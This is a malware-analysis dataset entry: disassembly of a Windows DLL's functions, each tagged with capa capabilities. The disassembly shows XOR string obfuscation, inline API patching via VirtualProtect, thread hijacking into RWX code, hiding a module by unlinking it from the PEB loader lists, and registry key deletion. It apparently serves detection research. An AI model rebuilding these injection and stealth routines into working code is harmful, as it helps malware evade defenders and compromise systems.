joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001c790
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100571b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, 0xcd
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x1004fcf8]
xor al, dl
mov byte [ebp + ecx - 0x24], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1e
jb 0x1001c7b0
lea eax, [ebp - 0x24]
mov byte [ebp - 6], 0
push eax
push 0x1810
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [0x10163928], eax
sete al
test al, al
je 0x1001c801
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026c75
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x1810
push 0
push 0
push 0xf001f
push dword [0x10163928]
cmp eax, 0xb7
setne bl
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10163924], eax
test eax, eax
jne 0x1001c844
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026c75
mov esp, ebp
pop ebp
ret
test bl, bl
je 0x1001c869
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 0xc08], 0
mov dword [eax + 0xc0c], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 4]
mov dword [0x10163920], eax
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10026c75
mov esp, ebp
pop ebp
ret

Function at 0x1001cbf0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100571b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, str.xQDWX
lea ecx, [ebp - 0x10]
push edi
sub eax, 0x405bdd07
push eax
call fcn.1001d8c0
push eax
push 0x540f1ccb
lea ecx, [ebp - 0x1c]
call fcn.1001d840
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov word [ebp - 0x14], 0
mov word [ebp - 8], 0
xorps xmm0, xmm0
movq qword [ebp - 0x1c], xmm0
movq qword [ebp - 0x10], xmm0
mov byte [ebp - 6], 0
test edi, edi
jne 0x1001cc64
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026c75
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x20]
push eax
push 0x40
push 6
push 0x10163910
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [edi]
mov dword [0x10163910], eax
mov ax, word [edi + 4]
mov word [0x10163914], ax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x20]
push 6
push 0x10163910
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop edi
call fcn.10026c75
mov esp, ebp
pop ebp
ret
Function at 0x1001ddd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
mov eax, dword [0x100571b8]
xor eax, esp
mov dword [esp + 0x88], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
mov dword [esp + 8], eax
push esi
push edi
cmp dword [ebx + 0x18], 0
je 0x1001df43
lea ecx, [esp + 0x50]
push ecx
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
mov esi, eax
lea eax, [esp + 0x40]
push eax
push dword [ebx + 4]
mov dword [esp + 0x14], esi
call dword [sym.imp.USER32.dll_GetClientRect]
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [ebx + 0x18]
mov edi, eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [ebx + 0x14]
mov esi, eax
push dword [ebx + 0x10]
push 0
push 0
push dword [esp + 0x2c]
call dword [sym.imp.GDI32.dll_BitBlt]
push esi
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
push edi
call esi
push edi
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [ebx + 0x20], 1
jne 0x1001df34
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
mov edi, dword [esp + 0xc]
push eax
push edi
call esi
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
push dword [ebx + 0x120]
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esi, [ebx + 0x21]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001dec0
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov edx, 0x3e
xor ecx, ecx
mov al, byte [ecx + str.P03__1fuxyk]
xor al, dl
mov byte [esp + ecx + 0x14], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x29
jb 0x1001dee2
lea eax, [esp + 0x14]
mov byte [esp + 0x3d], 0
push eax
push esi
call fcn.100154c0
mov ecx, esi
add esp, 8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001df12
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0xf
push eax
mov eax, dword [ebx + 0x10]
sub eax, 0xdc
push eax
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
lea eax, [esp + 0x50]
push eax
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_EndPaint]
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10026c75
mov esp, ebp
pop ebp
ret 4
Function at 0x1001df60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x100571b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ecx + 4], 0
mov edx, 0xc2
mov dword [ecx + 0x1c], str.SPLASH
mov dword [ecx + 0xc], 0
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x1004fd70]
xor al, dl
mov byte [ebp + ecx - 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1a
jb 0x1001df90
lea eax, [ebp - 0x20]
mov byte [ebp - 6], 0
push eax
mov eax, str.lin
lea ecx, [ebp - 0x2c]
sub eax, 0x702b1031
push eax
call fcn.1001e3b0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x10163a30], eax
call fcn.10026c75
mov esp, ebp
pop ebp
ret
Function at 0x1001e030
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov eax, dword [0x100571b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
push esi
push edi
mov edi, dword [0x10163900]
mov esi, ecx
push eax
push 0xff
lea eax, [esi + 0x21]
mov byte [esi + 0x20], 1
push eax
call fcn.1002eaab
mov eax, dword [ebp + 0x1c]
add esp, 0xc
mov dword [esi + 0x120], eax
mov eax, dword [ebp + 8]
test eax, eax
jne 0x1001e0ca
mov edx, 0x4c
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x1004f4ac]
xor al, dl
mov byte [ebp + ecx - 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1a
jb 0x1001e080
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x20]
mov byte [ebp - 6], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 8], 0
movups xmmword [ebp - 0x20], xmm0
mov byte [ebp - 6], 0
movq qword [ebp - 0x10], xmm0
jmp 0x1001e18b
cmp eax, 1
jne 0x1001e123
mov edx, 0x82
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x1004f414]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x19
jb 0x1001e0e0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x23], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x24], 0
movups xmmword [ebp - 0x3c], xmm0
movq qword [ebp - 0x2c], xmm0
jmp 0x1001e18b
push 0x8bdaff48
cmp eax, 2
jne 0x1001e15d
lea ecx, [ebp - 0x58]
call fcn.10011f00
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x40], 0
movups xmmword [ebp - 0x58], xmm0
mov byte [ebp - 0x3e], 0
movq qword [ebp - 0x48], xmm0
jmp 0x1001e18b
lea ecx, [ebp - 0x74]
call fcn.10011f00
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x5c], 0
movups xmmword [ebp - 0x74], xmm0
mov byte [ebp - 0x5a], 0
movq qword [ebp - 0x64], xmm0
push eax
mov ecx, esi
call fcn.1001e2f0
mov eax, dword [esi + 4]
mov dword [esi + 0xc], 0x808080
test eax, eax
je 0x1001e1d4
cmp dword [0x10163a30], 0
je 0x1001e1d4
push 0xffffffffffffffec
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
or eax, 0x80000
push eax
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 1
push 0
push dword [esi + 0xc]
push dword [esi + 4]
call dword [0x10163a30]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10026c75
mov esp, ebp
pop ebp
ret 0x18
Function at 0x1001e650
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10042878
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x100571b8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x10163c08], 0
je 0x1001e6f7
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x10163c0c]
cmp eax, 0x1388
jb 0x1001e6f7
push 0x10163c40
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
test eax, eax
je 0x1001e6f7
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10163c0c], eax
test eax, eax
je 0x1001e6ec
call fcn.1001e590
test al, al
jne 0x1001e6ec
mov eax, 0x1004f35c
lea ecx, [ebp - 0x30]
sub eax, 0x79ddc0fb
push eax
call fcn.10011ec0
push ecx
push eax
push ecx
mov edx, 2
mov dword [ebp - 4], 0
mov ecx, 0x10161dd8
call fcn.1001f670
add esp, 0xc
jmp 0x1001e6f7
push 0x10163c40
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10026c75
mov esp, ebp
pop ebp
ret

Function at 0x1001f190
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebp + 8]
cmp al, 0xff
je 0x1001f1b0
mov byte [esi], al
mov eax, dword [ebp + 0x10]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1001f1d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
mov eax, ecx
push esi
lea ecx, [ebp - 4]
mov dword [ebp - 8], eax
push ecx
push 0x40
push ebx
push eax
mov esi, edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push esi
mov esi, dword [ebp - 8]
push esi
call fcn.1002a1a0
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001f220
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100428e6
mov eax, dword fs:[0]
push eax
sub esp, 0x650
mov eax, dword [0x100571b8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x658], edx
mov ebx, ecx
mov eax, dword [0x1005102c]
mov dword [ebp - 0x1c], eax
mov ax, word [0x10051030]
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x624]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x1001f384
lea esi, [ebp - 0x624]
nop dword [eax + eax]
mov ax, word [esi]
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x224]
push 0x104
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x1001f370
xor eax, eax
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], 0
mov word [ebp - 0x63c], ax
cmp word [ebx], ax
je 0x1001f2ef
mov eax, ebx
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1001f2e0
sub eax, edx
sar eax, 1
push eax
push ebx
lea ecx, [ebp - 0x63c]
call fcn.10021be0
mov dword [ebp - 4], 0
cmp word [ebp - 0x224], 0
jne 0x1001f311
xor ecx, ecx
jmp 0x1001f32f
lea ecx, [ebp - 0x224]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1001f320
sub ecx, edx
sar ecx, 1
push ecx
push ecx
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x63c]
call fcn.10021140
mov edi, eax
cmp edi, 0xffffffff
jne 0x1001f3a2
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x628]
cmp eax, 8
jb 0x1001f370
inc eax
lea ecx, [ebp - 0x63c]
push eax
push dword [ebp - 0x63c]
call fcn.10021ee0
nop dword [eax + eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x1001f370
cmp word [esi], ax
jne 0x1001f290
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10026c75
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x654]
call fcn.100210e0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x63c]
mov eax, dword [eax + 0x10]
push esi
inc eax
push eax
push edi
call fcn.10021080
mov eax, dword [ebp - 0x640]
cmp eax, 8
jb 0x1001f3e8
inc eax
lea ecx, [ebp - 0x654]
push eax
push dword [ebp - 0x654]
call fcn.10021ee0
cmp dword [ebp - 0x628], 8
lea eax, [ebp - 0x63c]
cmovae eax, dword [ebp - 0x63c]
push eax
push 0x104
push dword [ebp - 0x658]
call fcn.1002edab
mov eax, dword [ebp - 0x628]
add esp, 0xc
cmp eax, 8
jb 0x1001f42e
inc eax
lea ecx, [ebp - 0x63c]
push eax
push dword [ebp - 0x63c]
call fcn.10021ee0
mov al, 1
jmp 0x1001f386
Function at 0x1001f4a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x1001f530
cmp edx, 0x20
jb 0x1001f51b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x1001f4d9
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x100512c0]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x1001f4f0
pop edi
cmp eax, edx
jge 0x1001f530
nop
mov cl, byte [eax + esi]
add cl, bl
xor cl, 0xa0
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x1001f520
pop esi
pop ebx
pop ebp
ret

Function at 0x1001f540
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x1001f5d0
cmp edx, 0x20
jb 0x1001f5bb
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x1001f579
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x100512c0]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x1001f590
pop edi
cmp eax, edx
jge 0x1001f5d0
nop
mov cl, byte [eax + esi]
xor cl, 0xa0
sub cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x1001f5c0
pop esi
pop ebx
pop ebp
ret
Function at 0x1001f670
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push dword [ebp + 0xc]
mov esi, edx
mov edi, ecx
push 1
push esi
mov ecx, 0x2a
call fcn.10020c10
push eax
push 0
push 0x10157d08
call fcn.10015b60
mov ecx, dword [0x10161b8c]
add esp, 0x18
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
test ecx, ecx
je 0x1001f6d2
push 0
push 0
push 0x10
push ecx
call ebx
push dword [0x10163900]
mov dword [0x10161b8c], 0
push dword [0x10161ba4]
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, dword [0x10161cb4]
test eax, eax
je 0x1001f700
push 0
push 0
push 0x10
push eax
call ebx
push dword [0x10163900]
mov dword [0x10161cb4], 0
push dword [0x10161ccc]
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, dword [0x10161ddc]
test eax, eax
je 0x1001f72e
push 0
push 0
push 0x10
push eax
call ebx
push dword [0x10163900]
mov dword [0x10161ddc], 0
push dword [0x10161df4]
call dword [sym.imp.USER32.dll_UnregisterClassA]
sub esi, 0
je 0x1001f75b
sub esi, 1
je 0x1001f74f
sub esi, 1
jne 0x1001f747
lea eax, [esi + 0x6a]
mov ecx, 0x2b2bb9
jmp 0x1001f765
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
jmp 0x1001f765
mov eax, 0x69
mov ecx, 0x116896
jmp 0x1001f765
mov eax, 0x67
mov ecx, 0x9ca476
push ecx
push dword [ebp + 0xc]
mov ecx, edi
sub esp, 0xc
push eax
call fcn.1001e030
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push ecx
push edi
push 0x1001f5e0
mov dword [edi + 8], eax
call fcn.10020e30
push 0xffffffffffffffff
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [edi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [edi + 4]
test eax, eax
je 0x1001f7d8
push 0
push 0
push 0x10
push eax
call ebx
push dword [0x10163900]
mov dword [edi + 4], 0
push dword [edi + 0x1c]
call dword [sym.imp.USER32.dll_UnregisterClassA]
xorps xmm0, xmm0
push 0
movups xmmword [0x10163c20], xmm0
movups xmmword [0x10163c30], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
Function at 0x10020c10
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x10564698
mov esi, ecx
call fcn.1002a1a0
movaps xmm1, xmmword [str.eeeeeeeeeeeeeeeewwwwwwwwwwwwwwww]
add esp, 0xc
movaps xmm2, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
xor eax, eax
shl esi, 8
lea ecx, [esi + 0x1004bb20]
pop esi
movups xmm0, xmmword [ecx + eax - 0x10]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax + 0x10564698], xmm0
movups xmm0, xmmword [ecx + eax]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax + 0x105646a8], xmm0
add eax, 0x20
cmp eax, 0x100
jb 0x10020c41
mov eax, 0x10564698
ret

Function at 0x10020e30
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x100571b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
mov edx, 0xd6
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x2f4], eax
xor eax, eax
nop dword [eax]
mov cl, byte [eax + 0x10051218]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x12
jb 0x10020e60
lea eax, [ebp - 0x18]
mov byte [ebp - 6], 0
push eax
push 0x3f6996bf
lea ecx, [ebp - 0x24]
call fcn.10021980
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov word [ebp - 0x1c], 0
lea eax, [ebp - 0x2f8]
mov word [ebp - 8], 0
push eax
push 0x40
xorps xmm0, xmm0
mov byte [ebp - 6], 0
push 0x100
push esi
movq qword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x2f4]
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2f0], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x240], edi
push eax
push esi
mov dword [ebp - 0x2f0], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10026c75
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10020f50
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10163900]
push ebx
push esi
push edi
mov dword [ebp - 8], eax
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x10020fa2
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10020fa6
cmp edx, esi
jne 0x10020f8b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x10020fc6
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10020fca
cmp edx, esi
jne 0x10020faf
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x10020fea
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10020fee
cmp edx, esi
jne 0x10020fd3
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10022050
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x10157cec]
sub esp, 8
push esi
mov esi, dword [0x10157ce8]
cmp esi, eax
je 0x10022135
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push edi
cmp byte [esi], 2
jne 0x10022099
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
lea eax, [esi + 1]
push eax
push connect
call ebx
mov edi, dword [ebp - 8]
test edi, edi
jne 0x100220aa
mov eax, dword [0x10157cec]
add esi, 0x105
cmp esi, eax
jne 0x10022072
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
mov ebx, dword [0x10157cec]
xor ecx, ecx
mov esi, dword [0x10157ce8]
mov eax, 0x7d8c42b3
mov dword [ebp - 4], ecx
mov ecx, ebx
sub ecx, esi
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x1002211d
xor edi, edi
cmp byte [edi + esi], 2
jne 0x100220f7
lea eax, [esi + 1]
add eax, edi
push eax
push connect
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov ebx, dword [0x10157cec]
mov esi, dword [0x10157ce8]
inc dword [ebp - 4]
mov ecx, ebx
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
add edi, 0x105
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 4], eax
jb 0x100220d4
mov edi, dword [ebp - 8]
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
push 0
lea ecx, [edx + 6]
call fcn.10004f30
add esp, 4
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100337be
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1003363d